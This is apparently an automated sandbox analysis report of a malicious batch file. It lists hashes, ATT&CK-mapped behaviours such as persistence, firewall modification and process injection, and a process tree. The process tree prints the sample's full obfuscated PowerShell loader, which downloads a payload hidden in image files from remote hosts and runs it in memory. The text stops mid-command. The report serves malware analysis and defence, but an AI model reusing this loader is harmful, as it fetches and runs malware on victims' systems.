ca0a9efe77e9b198d4f40f91aa9cdd9d9ff085f7e1f5ed0453917108917d8819

Analysis

max time kernel
14s
max time network
145s
platform
windows11-21h2_x64
resource
win11-20251015-en
resource tags

arch:x64arch:x86image:win11-20251015-enlocale:en-usos:windows11-21h2-x64system
submitted
23/10/2025, 21:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
generated_script1.bat
Size 10KB
Sample251023-1fltdabk31
SHA256 ca0a9efe77e9b198d4f40f91aa9cdd9d9ff085f7e1f5ed0453917108917d8819
MD5 10d47269e0872ef218701703722d67d9
SHA1 e3e04904248250f1f6494d6f133c8ed22606e6d6
SHA512 5a21831df7f978d722a92d8afbfb59b186dfaa0fa5e040ae2d6d4d23eb4a89cc7e1659b2201225539929a717a58976824336cd878731a4d320e49dff552c7b63
SSDEEP 192:gyxbrgcZ7d2wnT84JMI6BKz1J/16hlOzVhK56bj2xi8g1pdirPs94s7nsw1w/vYx:gy0cr2wnTbvuA116h8zTKWki8g8rExxx
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

Badlisted process makes network request 10 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	1664	powershell.exe
4	1664	powershell.exe
5	4780	powershell.exe
6	5248	powershell.exe
7	2836	powershell.exe
8	5248	powershell.exe
9	5740	powershell.exe
10	2836	powershell.exe
12	5740	powershell.exe
13	4780	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 15 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3692	powershell.exe
4920	powershell.exe
5004	powershell.exe
3392	powershell.exe
5980	powershell.exe
3376	powershell.exe
5116	powershell.exe
3332	powershell.exe
5868	powershell.exe
4188	powershell.exe
1664	powershell.exe
4780	powershell.exe
5248	powershell.exe
2836	powershell.exe
5740	powershell.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
4332	netsh.exe

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1912098173-3310702793-1420386224-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\nlakcFlnkF = "C:\\ProgramData\\.bat"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1912098173-3310702793-1420386224-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\ebFnhiFnoh = "C:\\ProgramData\\.bat"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1912098173-3310702793-1420386224-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\llmfiFggaA = "C:\\ProgramData\\.bat"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1912098173-3310702793-1420386224-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\kSdaaShiFe = "C:\\ProgramData\\.bat"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1912098173-3310702793-1420386224-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\oiikcfjhgj = "C:\\ProgramData\\.bat"	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
6	raw.githubusercontent.com
9	raw.githubusercontent.com
1	raw.githubusercontent.com
5	raw.githubusercontent.com

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 1664 set thread context of 4448	1664	powershell.exe	84
PID 5248 set thread context of 384	5248	powershell.exe	108
PID 2836 set thread context of 3296	2836	powershell.exe	115
PID 5740 set thread context of 5212	5740	powershell.exe	124

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Kills process with taskkill 2 IoCs

defense_evasion

pid	Process
228	taskkill.exe
72	taskkill.exe

Suspicious behavior: EnumeratesProcesses 39 IoCs

pid	Process
3692	powershell.exe
3692	powershell.exe
1664	powershell.exe
1664	powershell.exe
1664	powershell.exe
1664	powershell.exe
4920	powershell.exe
4920	powershell.exe
3332	powershell.exe
3332	powershell.exe
4780	powershell.exe
4780	powershell.exe
5004	powershell.exe
5004	powershell.exe
5248	powershell.exe
5248	powershell.exe
3392	powershell.exe
3392	powershell.exe
2836	powershell.exe
2836	powershell.exe
5248	powershell.exe
5248	powershell.exe
5868	powershell.exe
5980	powershell.exe
5980	powershell.exe
5868	powershell.exe
5740	powershell.exe
5740	powershell.exe
2836	powershell.exe
2836	powershell.exe
4188	powershell.exe
4188	powershell.exe
5740	powershell.exe
5740	powershell.exe
4780	powershell.exe
3376	powershell.exe
4780	powershell.exe
3376	powershell.exe
5116	powershell.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

description	pid	Process
Token: SeDebugPrivilege	3692	powershell.exe
Token: SeDebugPrivilege	1664	powershell.exe
Token: SeDebugPrivilege	4920	powershell.exe
Token: SeDebugPrivilege	3332	powershell.exe
Token: SeDebugPrivilege	4780	powershell.exe
Token: SeDebugPrivilege	5004	powershell.exe
Token: SeDebugPrivilege	5248	powershell.exe
Token: SeDebugPrivilege	3392	powershell.exe
Token: SeDebugPrivilege	2836	powershell.exe
Token: SeDebugPrivilege	5868	powershell.exe
Token: SeDebugPrivilege	5980	powershell.exe
Token: SeDebugPrivilege	228	taskkill.exe
Token: SeDebugPrivilege	5740	powershell.exe
Token: SeDebugPrivilege	4188	powershell.exe
Token: SeDebugPrivilege	72	taskkill.exe
Token: SeDebugPrivilege	3376	powershell.exe
Token: SeDebugPrivilege	5116	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3688 wrote to memory of 3692	3688	cmd.exe	79
PID 3688 wrote to memory of 3692	3688	cmd.exe	79
PID 3692 wrote to memory of 1664	3692	powershell.exe	80
PID 3692 wrote to memory of 1664	3692	powershell.exe	80
PID 1664 wrote to memory of 4920	1664	powershell.exe	82
PID 1664 wrote to memory of 4920	1664	powershell.exe	82
PID 1664 wrote to memory of 4448	1664	powershell.exe	84
PID 1664 wrote to memory of 4448	1664	powershell.exe	84
PID 1664 wrote to memory of 4448	1664	powershell.exe	84
PID 1664 wrote to memory of 4448	1664	powershell.exe	84
PID 1664 wrote to memory of 4448	1664	powershell.exe	84
PID 1664 wrote to memory of 4448	1664	powershell.exe	84
PID 1664 wrote to memory of 4448	1664	powershell.exe	84
PID 1664 wrote to memory of 4448	1664	powershell.exe	84
PID 3332 wrote to memory of 4780	3332	powershell.exe	87
PID 3332 wrote to memory of 4780	3332	powershell.exe	87
PID 5004 wrote to memory of 5248	5004	powershell.exe	91
PID 5004 wrote to memory of 5248	5004	powershell.exe	91
PID 3392 wrote to memory of 2836	3392	powershell.exe	95
PID 3392 wrote to memory of 2836	3392	powershell.exe	95
PID 5248 wrote to memory of 5868	5248	powershell.exe	98
PID 5248 wrote to memory of 5868	5248	powershell.exe	98
PID 5248 wrote to memory of 2976	5248	powershell.exe	102
PID 5248 wrote to memory of 2976	5248	powershell.exe	102
PID 5248 wrote to memory of 2976	5248	powershell.exe	102
PID 5248 wrote to memory of 228	5248	powershell.exe	103
PID 5248 wrote to memory of 228	5248	powershell.exe	103
PID 5980 wrote to memory of 5740	5980	powershell.exe	106
PID 5980 wrote to memory of 5740	5980	powershell.exe	106
PID 5248 wrote to memory of 384	5248	powershell.exe	108
PID 5248 wrote to memory of 384	5248	powershell.exe	108
PID 5248 wrote to memory of 384	5248	powershell.exe	108
PID 5248 wrote to memory of 384	5248	powershell.exe	108
PID 5248 wrote to memory of 384	5248	powershell.exe	108
PID 5248 wrote to memory of 384	5248	powershell.exe	108
PID 5248 wrote to memory of 384	5248	powershell.exe	108
PID 5248 wrote to memory of 384	5248	powershell.exe	108
PID 2836 wrote to memory of 4188	2836	powershell.exe	110
PID 2836 wrote to memory of 4188	2836	powershell.exe	110
PID 2836 wrote to memory of 3988	2836	powershell.exe	112
PID 2836 wrote to memory of 3988	2836	powershell.exe	112
PID 2836 wrote to memory of 3988	2836	powershell.exe	112
PID 2836 wrote to memory of 72	2836	powershell.exe	113
PID 2836 wrote to memory of 72	2836	powershell.exe	113
PID 2836 wrote to memory of 3296	2836	powershell.exe	115
PID 2836 wrote to memory of 3296	2836	powershell.exe	115
PID 2836 wrote to memory of 3296	2836	powershell.exe	115
PID 2836 wrote to memory of 3296	2836	powershell.exe	115
PID 2836 wrote to memory of 3296	2836	powershell.exe	115
PID 2836 wrote to memory of 3296	2836	powershell.exe	115
PID 2836 wrote to memory of 3296	2836	powershell.exe	115
PID 2836 wrote to memory of 3296	2836	powershell.exe	115
PID 4448 wrote to memory of 4332	4448	RegAsm.exe	117
PID 4448 wrote to memory of 4332	4448	RegAsm.exe	117
PID 4448 wrote to memory of 4332	4448	RegAsm.exe	117
PID 5740 wrote to memory of 3376	5740	powershell.exe	122
PID 5740 wrote to memory of 3376	5740	powershell.exe	122
PID 5740 wrote to memory of 5212	5740	powershell.exe	124
PID 5740 wrote to memory of 5212	5740	powershell.exe	124
PID 5740 wrote to memory of 5212	5740	powershell.exe	124
PID 5740 wrote to memory of 5212	5740	powershell.exe	124
PID 5740 wrote to memory of 5212	5740	powershell.exe	124
PID 5740 wrote to memory of 5212	5740	powershell.exe	124
PID 5740 wrote to memory of 5212	5740	powershell.exe	124

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\generated_script1.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3688
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Start-Process powershell -WindowStyle Hidden -ArgumentList '-Command \"$ddsdgo = ''IAAgACAAWwBOAGUAh@AAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAh@QByAGkAh@AB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAh@QByAGkAh@AB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgAKACAAIAAgACAAIAAgACAAIABmAHUAbgBjAHQAaQBvAG4AIABEAG8Ah@wBuAGwAbwBhAGQARABhAHQAYQBGAHIAbwBtAEwAaQBuAGsAcwAgAHsAIABwAGEAcgBhAG0AIAAoAFsAcwB0AHIAaQBuAGcAWwBh@AF0AJABsAGkAbgBrAHMAKQAgAAoAIAAgACAAIAAgACAAIAAgACQAh@wBlAGIAQwBsAGkAZQBuAHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAh@AAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4Ah@AA7ACAACgAgACAAIAAgACAAIAAgACAAJABzAGgAh@QBmAGYAbABlAGQATABpAG4AawBzACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAh@ABPAGIAagBlAGMAh@AAgACQAbABpAG4AawBzACAALQBDAG8Ah@QBuAHQAIAAkAGwAaQBuAGsAcwAuAEwAZQBuAGcAh@ABoADsAIAAKACAAIAAgACAAIAAgACAAIABmAG8AcgBlAGEAYwBoACAAKAAkAGwAaQBuAGsAIABpAG4AIAAkAHMAaAB1AGYAZgBsAGUAZABMAGkAbgBrAHMAKQAgAHsAIAB0AHIAeQAgAHsAIAByAGUAh@AB1AHIAbgAgACQAh@wBlAGIAQwBsAGkAZQBuAHQALgBEAG8Ah@wBuAGwAbwBhAGQARABhAHQAYQAoACQAbABpAG4AawApACAAfQAgAGMAYQB0AGMAaAAgAHsAIABjAG8AbgB0AGkAbgB1AGUAIAB9ACAAfQA7ACAACgAgACAAIAAgACAAIAAgACAAcgBlAHQAh@QByAG4AIAAkAG4Ah@QBsAGwAIAB9ADsAIAAKACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAgAD0AIAAnAGgAh@AB0ACcAOwAKACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAyACAAPQAgACcAcABzADoALwAvACcAOwAKACAAIAAgACAAIAAgACAAIAAkAGwAZgBzAGQAZgBzAGQAZwAgAD0AIAAgACQAQgB5AHQAZQBzACAAKwAkAEIAeQB0AGUAcwAyADsACgAgACAAIAAgACAAIAAgACAAJABsAGkAbgBrAHMAIAA9ACAAQAAoACgAJABsAGYAcwBkAGYAcwBkAGcAIAArACAAJwB5AGIAZwBjAHQAZAB0AGIAegB2AGcAcABkAHgAagBpAHYAYQBmAHkALgBzAHUAcABhAGIAYQBzAGUALgBjAG8ALwBzAHQAbwByAGEAZwBlAC8Ah@gAxAC8AbwBiAGoAZQBjAHQALwBwAHUAYgBsAGkAYwAvAG4AYQBuAG8ALwBpAG0AYQBnAGUALgBqAHAAZwA/ADEAMgA3ADEAMQAzADQAMwAnACkALAAgACgAJABsAGYAcwBkAGYAcwBkAGcAIAArACAAJwByAGEAh@wAuAGcAaQB0AGgAh@QBiAHUAcwBlAHIAYwBvAG4Ah@ABlAG4Ah@AAuAGMAbwBtAC8AMwByAGkAYwAzAGgALwBzAGUAcgB2AGUAcgAvAHIAZQBmAHMALwBoAGUAYQBkAHMALwBtAGEAaQBuAC8AaQBtAGEAZwBlAC4AagBwAGcAPwAxADIANwAxADEAMwA0ADMAJwApACkAOwAKACAAIAAgACAAIAAgACAAIAAgACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAD0AIABEAG8Ah@wBuAGwAbwBhAGQARABhAHQAYQBGAHIAbwBtAEwAaQBuAGsAcwAgACQAbABpAG4AawBzADsACgAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAh@AAuAEUAbgBjAG8AZABpAG4AZwBh@ADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGkAbQBhAGcAZQBCAHkAh@ABlAHMAKQA7AAoAIAAgACAAIAAgACAAIAAgACAAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACAAJABlAG4AZABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAOwAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AEYAbABhAGcAKQA7ACAACgAgACAAIAAgACAAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AAoAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHMAh@ABhAHIAh@ABJAG4AZABlAHgAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABlAG4AZABJAG4AZABlAHgAIAAtAGcAh@AAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAApACAAewAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgACsAPQAgACQAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7ACAACgAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaABoACAAPQAgACQAZQBuAGQASQBuAGQAZQB4ACAALQAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAA7AAoAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaABoACkAOwAKACAAIAAgACAAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AAoAIAAgACAAIAAgACAAIAAgACAAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4Ah@gBlAHIAh@ABh@ADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAh@AByAGkAbgBnACgAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACkAOwAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AAoAIAAgACAAIAAgACAAIAAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5ACAAPQAgAFsAUwB5AHMAh@ABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACkAOwAKACAAIAAgACAAIAAgACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAbwByAHQALQBPAGIAagBlAGMAh@AAgAEMAUABVACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAh@AAgADUAIAB8ACAARgBvAHIAbQBhAHQALQBUAGEAYgBsAGUAIABOAGEAbQBlACwAQwBQAFUACgAgACAAIAAgACAAIAAgACAAJAB0AHkAcABlACAAPQAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAh@ABlAHMAh@ABwAG8Ah@wBlAHIAcwBoAGUAbABsAC4ASABvAGEAYQBhAGEAYQBhAHMAZABtAGUAJwApADsACgAgACAAIAAgACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAbwByAHQALQBPAGIAagBlAGMAh@AAgAEMAUABVACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAh@AAgADUAIAB8ACAARgBvAHIAbQBhAHQALQBUAGEAYgBsAGUAIABOAGEAbQBlACwAQwBQAFUACgAgACAAIAAgACAAIAAgACAAJABpAG4AagBlAGMAIAA9ACAAJwBSAGUAZwBBAHMAbQAnADsACgAgACAAIAAgACAAIAAgACAAJABtAGUAh@ABoAG8AZAAgAD0AIAAkAHQAeQBwAGUALgBHAGUAh@ABNAGUAh@ABoAG8AZAAoACcAbABmAHMAZwBlAGQAZABkAGQAZABkAGQAYQAnACkALgBJAG4Ah@gBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAh@ABbAF0AXQAgACgAJwB0AHgAh@AAuAGgAYQBpAGEAcwBpAC8ANgAzAGEAMABhADcAOABhADAAYgA3ADMALQBhAGEAZgA4AC0ANgBiADIANAAtADcANABlAGYALQBkAGUAOAAyAGEAMAAyAGMALwB0AGUAbgAuAGQAYwBlAHIAYQBjAHUALgA3ADAAbQBqAHkAaAA2AHMAZAAxAC8ALwA6AHMAJwAsACAAJwAxACcALAAgACcAJwAsACAAJABpAG4AagBlAGMALAAgACcAMAAnACAALAAgACcAeAA4ADYAJwApACkAfQB9ADsACgA='';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string($ddsdgo.replace(''h@'',''d'')));iex $OWjuxD\"'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3692
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$ddsdgo = 'IAAgACAAWwBOAGUAh@AAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAh@QByAGkAh@AB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAh@QByAGkAh@AB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgAKACAAIAAgACAAIAAgACAAIABmAHUAbgBjAHQAaQBvAG4AIABEAG8Ah@wBuAGwAbwBhAGQARABhAHQAYQBGAHIAbwBtAEwAaQBuAGsAcwAgAHsAIABwAGEAcgBhAG0AIAAoAFsAcwB0AHIAaQBuAGcAWwBh@AF0AJABsAGkAbgBrAHMAKQAgAAoAIAAgACAAIAAgACAAIAAgACQAh@wBlAGIAQwBsAGkAZQBuAHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAh@AAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4Ah@AA7ACAACgAgACAAIAAgACAAIAAgACAAJABzAGgAh@QBmAGYAbABlAGQATABpAG4AawBzACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAh@ABPAGIAagBlAGMAh@AAgACQAbABpAG4AawBzACAALQBDAG8Ah@QBuAHQAIAAkAGwAaQBuAGsAcwAuAEwAZQBuAGcAh@ABoADsAIAAKACAAIAAgACAAIAAgACAAIABmAG8AcgBlAGEAYwBoACAAKAAkAGwAaQBuAGsAIABpAG4AIAAkAHMAaAB1AGYAZgBsAGUAZABMAGkAbgBrAHMAKQAgAHsAIAB0AHIAeQAgAHsAIAByAGUAh@AB1AHIAbgAgACQAh@wBlAGIAQwBsAGkAZQBuAHQALgBEAG8Ah@wBuAGwAbwBhAGQARABhAHQAYQAoACQAbABpAG4AawApACAAfQAgAGMAYQB0AGMAaAAgAHsAIABjAG8AbgB0AGkAbgB1AGUAIAB9ACAAfQA7ACAACgAgACAAIAAgACAAIAAgACAAcgBlAHQAh@QByAG4AIAAkAG4Ah@QBsAGwAIAB9ADsAIAAKACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAgAD0AIAAnAGgAh@AB0ACcAOwAKACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAyACAAPQAgACcAcABzADoALwAvACcAOwAKACAAIAAgACAAIAAgACAAIAAkAGwAZgBzAGQAZgBzAGQAZwAgAD0AIAAgACQAQgB5AHQAZQBzACAAKwAkAEIAeQB0AGUAcwAyADsACgAgACAAIAAgACAAIAAgACAAJABsAGkAbgBrAHMAIAA9ACAAQAAoACgAJABsAGYAcwBkAGYAcwBkAGcAIAArACAAJwB5AGIAZwBjAHQAZAB0AGIAegB2AGcAcABkAHgAagBpAHYAYQBmAHkALgBzAHUAcABhAGIAYQBzAGUALgBjAG8ALwBzAHQAbwByAGEAZwBlAC8Ah@gAxAC8AbwBiAGoAZQBjAHQALwBwAHUAYgBsAGkAYwAvAG4AYQBuAG8ALwBpAG0AYQBnAGUALgBqAHAAZwA/ADEAMgA3ADEAMQAzADQAMwAnACkALAAgACgAJABsAGYAcwBkAGYAcwBkAGcAIAArACAAJwByAGEAh@wAuAGcAaQB0AGgAh@QBiAHUAcwBlAHIAYwBvAG4Ah@ABlAG4Ah@AAuAGMAbwBtAC8AMwByAGkAYwAzAGgALwBzAGUAcgB2AGUAcgAvAHIAZQBmAHMALwBoAGUAYQBkAHMALwBtAGEAaQBuAC8AaQBtAGEAZwBlAC4AagBwAGcAPwAxADIANwAxADEAMwA0ADMAJwApACkAOwAKACAAIAAgACAAIAAgACAAIAAgACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAD0AIABEAG8Ah@wBuAGwAbwBhAGQARABhAHQAYQBGAHIAbwBtAEwAaQBuAGsAcwAgACQAbABpAG4AawBzADsACgAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAh@AAuAEUAbgBjAG8AZABpAG4AZwBh@ADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGkAbQBhAGcAZQBCAHkAh@ABlAHMAKQA7AAoAIAAgACAAIAAgACAAIAAgACAAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACAAJABlAG4AZABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAOwAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AEYAbABhAGcAKQA7ACAACgAgACAAIAAgACAAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AAoAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHMAh@ABhAHIAh@ABJAG4AZABlAHgAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABlAG4AZABJAG4AZABlAHgAIAAtAGcAh@AAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAApACAAewAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgACsAPQAgACQAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7ACAACgAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaABoACAAPQAgACQAZQBuAGQASQBuAGQAZQB4ACAALQAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAA7AAoAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaABoACkAOwAKACAAIAAgACAAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AAoAIAAgACAAIAAgACAAIAAgACAAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4Ah@gBlAHIAh@ABh@ADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAh@AByAGkAbgBnACgAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACkAOwAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AAoAIAAgACAAIAAgACAAIAAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5ACAAPQAgAFsAUwB5AHMAh@ABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACkAOwAKACAAIAAgACAAIAAgACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAbwByAHQALQBPAGIAagBlAGMAh@AAgAEMAUABVACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGU